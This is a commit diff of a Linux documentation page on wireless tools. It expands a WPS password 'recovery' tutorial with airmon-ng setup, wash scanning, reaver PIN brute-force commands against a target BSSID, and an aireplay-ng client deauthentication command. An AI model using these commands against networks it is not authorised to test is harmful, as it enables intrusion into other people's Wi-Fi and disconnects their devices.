about summary refs log tree commit diff stats
path: root/tools/wireless.html
diff options
context:
space:
mode:
authorSilvino Silva <silvino@bk.ru>2019-11-09 00:50:32 +0000
committerSilvino Silva <silvino@bk.ru>2019-11-09 00:50:32 +0000
commita230f4682823c1032413cd4974f4f3a4a1d6d389 (patch)
tree03dea1a7151a6e2b6858979c1f080676725f3b48 /tools/wireless.html
parent0ea1c51d7926b906818283fd6fd899f11f1d56bb (diff)
downloaddoc-a230f4682823c1032413cd4974f4f3a4a1d6d389.tar.gz
initial update to crux 3.5
Diffstat (limited to 'tools/wireless.html')
-rw-r--r--tools/wireless.html38
1 files changed, 31 insertions, 7 deletions
diff --git a/tools/wireless.html b/tools/wireless.html
index f4eeddb..afb12b3 100644
--- a/tools/wireless.html
+++ b/tools/wireless.html
@@ -13,11 +13,7 @@
         # iwconfig wlp2s0 essid name_of_network
         </pre>
 
-        <h4>Recover Password WPS</h4>
-
-        <p>Tested on debian system only.</p>
-
-        <p>First get mac address of the target cell;</p>
+        <p>To get mac address of the target cell;</p>
 
         <pre>
         # iwlist wlp2s0 scan
@@ -29,6 +25,11 @@
         Cell 03 - Address: A8:A6:68:98:0C:C5
         </pre>
 
+
+        <h4>Recover Password WPS</h4>
+
+        <p>First check processes that interfere with state of the interface and kill them;</p>
+
         <pre>
         # airmon-ng check
 
@@ -57,7 +58,7 @@
         # kill -9 1271
         </pre>
 
-        <p>Just to be sure that everything is as it should;</p>
+        <p>If wireless card is intel;</p>
 
         <pre>
         # rmmod iwlmvm
@@ -82,6 +83,18 @@
                                         (monitor mode enabled on mon0)
         </pre>
 
+        <p>Airdump-ng don't report if a router have WPS or not, for that is used wash;</p>
+
+        <pre>
+        # wash -i wlp2s0
+        </pre>
+
+        <p>If the program report "Found packet with bad FCS", run with -C;</p>
+
+        <pre>
+        # wash -C -i wlp2s0
+        </pre>
+
         <p>Put mon0 on same channel of target cell;</p>
 
         <pre>
@@ -91,8 +104,19 @@
         <p>Start the magic;</p>
 
         <pre>
-        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -vv
+        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv
         </pre>
 
+        <p>If BSSID is cloaked, not being broadcasted, provide it to reaver;</p>
+
+        <pre>
+        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv
+        </pre>
+
+        <p>-a address of access point, -c client to deauthenticate</p>
+
+        <pre>
+        aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
+        </pre>
     </body>
 </html>